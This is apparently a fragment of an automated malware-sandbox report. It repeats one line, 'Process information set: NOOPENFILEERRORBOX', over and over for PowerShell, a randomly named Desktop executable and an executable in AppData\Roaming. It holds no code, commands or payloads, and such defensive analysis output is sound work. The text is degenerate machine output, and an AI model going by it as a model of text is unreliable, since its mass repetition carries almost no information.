Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
